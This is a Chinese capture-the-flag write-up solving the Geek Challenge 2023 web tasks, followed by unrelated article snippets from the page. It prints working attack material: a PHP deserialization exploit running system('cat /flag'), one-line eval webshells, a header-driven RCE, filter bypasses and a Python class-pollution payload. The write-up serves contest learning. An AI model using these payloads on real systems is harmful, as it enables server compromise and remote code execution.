当前位置: 首页 > news >正文

[Geek Challenge 2023] web题解

文章目录

    • EzHttp
    • unsign
    • n00b_Upload
    • easy_php
    • EzRce
    • ezpython
    • ezrfi


EzHttp

按照提示POST传参
发现密码错误
在这里插入图片描述F12找到hint,提示./robots.txt
在这里插入图片描述
访问一下,得到密码
然后就是http请求的基础知识
抓包修改
在这里插入图片描述
最后就是
在这里插入图片描述
我们直接添加请求头O2TAKUXX: GiveMeFlag
得到flag
在这里插入图片描述

unsign

源码

<?php
highlight_file(__FILE__);
class syc
{public $cuit;public function __destruct(){echo("action!<br>");$function=$this->cuit;return $function();}
}class lover
{public $yxx;public $QW;public function __invoke(){echo("invoke!<br>");return $this->yxx->QW;}}class web
{public $eva1;public $interesting;public function __get($var){echo("get!<br>");$eva1=$this->eva1;$eva1($this->interesting);}
}
if (isset($_POST['url'])) 
{unserialize($_POST['url']);
}?>

pop链

syc.__destruct -> lover.__invoke() -> web.__get()

exp

<?php
class syc
{public $cuit;
}class lover
{public $yxx;public $QW;
}class web
{public $eva1;public $interesting;
}$a=new syc();
$b=new lover();
$c=new web();
$a->cuit=$b;
$b->yxx=$c;
$c->eva1='system';
$c->interesting='cat /flag';
echo serialize($a);
?> 

得到flag
在这里插入图片描述

n00b_Upload

题目对文件名没有检测,后缀可以为php
然后检测MIME类型,我们只需要修改为image/jpeg即可
文件内容一句话木马会被检测,要修改为短标签

创建1.php,写入

<?=@eval($_POST['shell']);?>

bp抓包修改MIME,上传成功
在这里插入图片描述访问,命令执行得到flag
在这里插入图片描述

easy_php

考点:换行绕过,intval函数绕过,sha1绕过,php解析特性

源码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {if (isset($_POST['qw']) && $_POST['yxx']) {$array1 = (string)$_POST['qw'];$array2 = (string)$_POST['yxx'];if (sha1($array1) === sha1($array2)) {if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {echo $flag;} else {echo "再绕最后一步吧";}} else {echo "好哩,快拿到flag啦";}} else {echo "这里绕不过去,QW可不答应了哈";}} else {echo "嘿嘿嘿,你别急啊";}
}else {echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?> 

分析一下
利用换行符%0a绕过preg_match()函数;数组绕过sha1;利用科学计数法绕过intval函数;最后是php解析特性[会被解析成下划线
得到flag
在这里插入图片描述

EzRce

考点:异或绕过、无参RCE

源码如下

 <?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){eval($data);
}else{echo "no!";
}
?> 

题目过滤了字母数字,应该是无参rce,不过eval没被过滤
用异或绕过,构造如下

eval(next(getallheaders()));

在这里插入图片描述发现权限不够,那么我们写马蚁剑连接

file_put_contents('shell.php','<?php eval($_POST[1]);?>');

在这里插入图片描述我们查看下权限,发现只有r
在这里插入图片描述

然后就是find命令查找能用的,发现有find命令,得到flag
在这里插入图片描述

ezpython

考点:python原型链污染

源码

import json
import osfrom waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_stringapp = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():def __init__(self):self.username=""self.password=""self.isvip=Falseclass hhh(User):def __init__(self):self.username=""self.password=""registered_users=[]
@app.route('/')
def hello_world():  # put application's code herereturn render_template("welcome.html")@app.route('/play')
def play():username=session.get('username')if username:return render_template('index.html',name=username)else:return redirect(url_for('login'))@app.route('/login',methods=['GET','POST'])
def login():if request.method == 'POST':username=request.form.get('username')password=request.form.get('password')user = next((user for user in registered_users if user.username == username and user.password == password), None)if user:session['username'] = user.usernamesession['password']=user.passwordreturn redirect(url_for('play'))else:return "Invalid login"return redirect(url_for('play'))return render_template("login.html")@app.route('/register',methods=['GET','POST'])
def register():if request.method == 'POST':try:if waf(request.data):return "fuck payload!Hacker!!!"data=json.loads(request.data)if "username" not in data or "password" not in data:return "连用户名密码都没有你注册啥呢"user=hhh()merge(data,user)registered_users.append(user)except Exception as e:return "泰酷辣,没有注册成功捏"return redirect(url_for('login'))else:return render_template("register.html")@app.route('/flag',methods=['GET'])
def flag():user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)if user:if user.isvip:data=request.args.get('num')if data:if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:flag = os.environ.get('geek_flag')return render_template('flag.html',flag=flag)else:return "你的数字不对哦!"else:return "I need a num!!!"else:return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')else:return "先登录去"def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)if __name__ == '__main__':app.run(host="0.0.0.0",port="8888")

首先定义了user类,包括三个属性,其中isvip值为false,子类hhh继承user类,只有两个属性;接着就是/register路由,发现实例化的是hhh(),也就是无法改变isvip的值,然后调用merge方法;/login路由实现登录功能;然后看向关键的/flag路由,会检测user.isvip是否为真,接收参数num进行if判断返回flag;最后发现有merge方法说明原型链污染

我们用postman发送如下json数据
__base__是为了指向父类user的isvip从而污染)

{"username":"1","password":"1","__class__":{"__base__":{"isvip":true}}
}

(后面参考其他师傅博客发现直接污染也行不需要用魔术方法)

发现有过滤,直接Unicode编码

{"username":"1","password":"1","__class__":{"__base__":{"isvi\u0070":true}}
}

登录进去之后,看九幽玄天神功已经是要你传参了
直接+123456789绕过
在这里插入图片描述

ezrfi

考点:filterchain攻击

打开题目,提示hint.py
测试了一会发现文件包含会拼接.py后缀
在这里插入图片描述然后一步步解密,先base64发现是尊嘟假嘟
继续解密后发现是rc4加密,用密钥Syclover
在这里插入图片描述很明显的要用filterchain绕过
(注意构造的命令长度需要是3的倍数,防止base64编码出错,长度不够就手动添加a)
在这里插入图片描述
查询跟目录
在这里插入图片描述
得到flag
在这里插入图片描述

相关文章:

[Geek Challenge 2023] web题解

文章目录 EzHttpunsignn00b_Uploadeasy_phpEzRceezpythonezrfi EzHttp 按照提示POST传参 发现密码错误 F12找到hint&#xff0c;提示./robots.txt 访问一下&#xff0c;得到密码 然后就是http请求的基础知识 抓包修改 最后就是 我们直接添加请求头O2TAKUXX: GiveMeFlag 得到…...

【recrutment / Hiring / Job / Application】

Interviewee I), objected/targeted job/position1.1) Azure 平台运维工程师&#xff08;comms&social&#xff09;1.1.1), comms communication and social, for talk, content1.1.2) Cloud computing1.1.3) 拥有ITI/MCSE/RHCE相关认证或Azure认证(如Az204/Az304 have/own…...

二极管:ESD静电保护二极管

一、什么是ESD二极管 ESD二极管与 TVS二极管原理是一样的&#xff0c;也是为了保护电&#xff0c;但ESD二极管的主要功能是防止静电。 静电防护的前提条件就要求其电容值要足够地低&#xff0c;一般在1PF-3.5PF之间最好&#xff0c;主要应用于板级保护。 二、什么是静电 静…...

【根据数组元素生成随机颜色函数】

const colorOptions ["#f50","#2db7f5","#87d068","#108ee9",];const getRandomColor () > {const randomIndex Math.floor(Math.random() * colorOptions.length);return colorOptions[randomIndex];}; 时小记&#xff0c;终有…...

鸿蒙一出,android开发处境再受重创

华为宣布其自研操作系统鸿蒙HarmonyOSNEXT开发者预览版将不再兼容安卓系统&#xff0c;这一消息引起了广泛关注和热议。这一决策标志着华为正式告别安卓&#xff0c;摆脱了外部的制约&#xff0c;开始着手打造一个全新的生态系统。 鸿蒙系统4发布一个月&#xff0c;截至目前&a…...

ruoyi+Hadoop+hbase实现大数据存储查询

前言 有个现实的需求&#xff0c;数据量可能在100亿条左右。现有的数据库是SQL Server&#xff0c;随着采集的数据不断的填充&#xff0c;查询的效率越来越慢&#xff08;现有的SQL Server查询已经需要数十秒钟的时间&#xff09;&#xff0c;看看有没有优化的方案。 考虑过S…...

Word 在页眉或页脚中设置背景颜色

目录预览 一、问题描述二、解决方案三、参考链接 一、问题描述 如何在word的页眉页脚中设置背景色&#xff1f; 二、解决方案 打开 Word 文档并进入页眉或页脚视图。在 Word 2016 及更高版本中&#xff0c;你可以通过在“插入”选项卡中单击“页眉”或“页脚”按钮来进入或者…...

python获取js data.now同款时间戳

import requestsimport time from datetime import datetimecu_t datetime.now() se cu_t.timestamp()*1000 se int(se) print(se)#cur_time time.time()*1000 #seconds int(cur_time) #print(seconds)...

线上超市小程序可以做什么活动_提升用户参与度与购物体验

标题&#xff1a;线上超市小程序&#xff1a;精心策划活动&#xff0c;提升用户参与度与购物体验 一、引言 随着移动互联网的普及&#xff0c;线上购物已经成为人们日常生活的一部分。线上超市作为线上购物的重要组成部分&#xff0c;以其便捷、快速、丰富的商品种类和个性化…...

旺店通:API无代码开发的集成解决方案,连接电商平台、CRM和客服系统

集成电商生态&#xff1a;旺店通的核心优势 在数字化转型的浪潮中&#xff0c;旺店通旗舰版奇门以其无代码开发的集成解决方案&#xff0c;正成为电商领域的关键变革者。商家们通过旺店通可以轻松实现与电商平台、CRM系统和客服系统的连接&#xff0c;无需深入了解复杂的API开…...

命令查询pg 数据库版本,并且分析结果行各代表什么意思

目录 1 问题2 实现 1 问题 命令查询pg 数据库版本&#xff0c;并且分析结果行各代表什么意思 2 实现 SELECT version(); PostgreSQL 11.7 (Debian 11.7-2.pgdg1001) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit这是一条关于 PostgreSQL 数据库…...

Elaticsearch 学习笔记

文章目录 Elaticsearch 学习笔记一、什么是 Elaticsearch &#xff1f;二、Elaticsearch 安装1 es 安装2 问题解决3 数据格式 三、索引操作1 PUT 请求&#xff1a;在postman中&#xff0c;向 ES 服务器发 PUT 请求&#xff08;PUT请求相当于创建的意思&#xff09;2 GET 请求&a…...

计算机网络体系的形成

目录 1、开放系统互连参考模型OSI/RM 2、两种国际标准 3、协议与划分层次 4、网络协议的三要素 5、划分层次 &#xff08;1&#xff09;文件发送模块使两个主机交换文件 &#xff08;2&#xff09;通信服务模块 &#xff08;3&#xff09;接入网络模块 6、分层带来的好…...

PyTorch 基础篇(1):Pytorch 基础

Pytorch 学习开始 入门的材料来自两个地方&#xff1a; 第一个是官网教程&#xff1a;WELCOME TO PYTORCH TUTORIALS&#xff0c;特别是官网的六十分钟入门教程 DEEP LEARNING WITH PYTORCH: A 60 MINUTE BLITZ。 第二个是韩国大神 Yunjey Choi 的 Repo&#xff1a;pytorch-t…...

掌握Selenium4:详解各种定位方式

Selenium4中有多种元素定位方式&#xff0c;主要包括以下几种&#xff1a; 通过ID属性定位&#xff1a;根据元素的id属性进行定位。通过name属性定位&#xff1a;当元素没有id属性而有name属性时&#xff0c;可以使用name属性进行元素定位。通过class name定位&#xff1a;可以…...

go-fastfds部署心得

我是windows系统安装 Docker Desktop部署 docker run --name go-fastdfs&#xff08;任意的一个名称&#xff09; --privilegedtrue -t -p 3666:8080 -v /data/fasttdfs_data:/data -e GO_FASTDFS_DIR/data sjqzhang/go-fastdfs:lastest docker run&#xff1a;该命令用于运…...

Python第三次练习

Python 一、如何判断一个字符串是否是另一个字符串的子串二、如何验证一个字符串中的每一个字符均在另一个字符串中出现三、如何判定一个字符串中既有数字又有字母四、做一个注册登录系统 一、如何判断一个字符串是否是另一个字符串的子串 实现代码&#xff1a; string1 inp…...

从Java8升级到Java17,特色优化点

从Java8升级到Java17&#xff0c;特色优化点 一、局部变量类型推断二、switch表达式三、文本块四、Records五、模式匹配instanceof六、密封类七、NullPointerException 从Java 8 到 Java 20&#xff0c;Java 已经走过了漫长的道路&#xff0c;自 Java 8 以来&#xff0c;Java 生…...

js实现富文本

当涉及到使用 JavaScript 实现富文本时&#xff0c;一种常见的方法是使用一些现成的富文本编辑器库&#xff0c;比如&#xff1a; Quill&#xff1a;一个功能强大、易于集成的富文本编辑器&#xff0c;支持自定义样式和格式&#xff0c;提供丰富的插件和API。 TinyMCE&#xf…...

每日OJ题_算法_双指针②_力扣1089. 复写零

目录 力扣1089. 复写零 解析代码 力扣1089. 复写零 1089. 复写零 - 力扣&#xff08;LeetCode&#xff09; 难度 简单 给你一个长度固定的整数数组 arr &#xff0c;请你将该数组中出现的每个零都复写一遍&#xff0c;并将其余的元素向右平移。 注意&#xff1a;请不要在…...

(十)学生端搭建

本次旨在将之前的已完成的部分功能进行拼装到学生端&#xff0c;同时完善学生端的构建。本次工作主要包括&#xff1a; 1.学生端整体界面布局 2.模拟考场与部分个人画像流程的串联 3.整体学生端逻辑 一、学生端 在主界面可以选择自己的用户角色 选择学生则进入学生登录界面…...

线程与协程

1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指&#xff1a;像函数调用/返回一样轻量地完成任务切换。 举例说明&#xff1a; 当你在程序中写一个函数调用&#xff1a; funcA() 然后 funcA 执行完后返回&…...

聊聊 Pulsar:Producer 源码解析

一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台&#xff0c;以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中&#xff0c;Producer&#xff08;生产者&#xff09; 是连接客户端应用与消息队列的第一步。生产者…...

五年级数学知识边界总结思考-下册

目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解&#xff1a;由来、作用与意义**一、知识点核心内容****二、知识点的由来&#xff1a;从生活实践到数学抽象****三、知识的作用&#xff1a;解决实际问题的工具****四、学习的意义&#xff1a;培养核心素养…...

解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错

出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上&#xff0c;所以报错&#xff0c;到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本&#xff0c;cu、torch、cp 的版本一定要对…...

Spring AI与Spring Modulith核心技术解析

Spring AI核心架构解析 Spring AI&#xff08;https://spring.io/projects/spring-ai&#xff09;作为Spring生态中的AI集成框架&#xff0c;其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似&#xff0c;但特别为多语…...

安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”(装配)

船舶制造装配管理现状&#xff1a;装配工作依赖人工经验&#xff0c;装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书&#xff0c;但在实际执行中&#xff0c;工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...

【JVM】Java虚拟机(二)——垃圾回收

目录 一、如何判断对象可以回收 &#xff08;一&#xff09;引用计数法 &#xff08;二&#xff09;可达性分析算法 二、垃圾回收算法 &#xff08;一&#xff09;标记清除 &#xff08;二&#xff09;标记整理 &#xff08;三&#xff09;复制 &#xff08;四&#xff…...

【Linux系统】Linux环境变量:系统配置的隐形指挥官

。# Linux系列 文章目录 前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变量的生命周期 四、环境变量的组织方式五、C语言对环境变量的操作5.1 设置环境变量&#xff1a;setenv5.2 删除环境变量:unsetenv5.3 遍历所有环境…...

0x-3-Oracle 23 ai-sqlcl 25.1 集成安装-配置和优化

是不是受够了安装了oracle database之后sqlplus的简陋&#xff0c;无法删除无法上下翻页的苦恼。 可以安装readline和rlwrap插件的话&#xff0c;配置.bahs_profile后也能解决上下翻页这些&#xff0c;但是很多生产环境无法安装rpm包。 oracle提供了sqlcl免费许可&#xff0c…...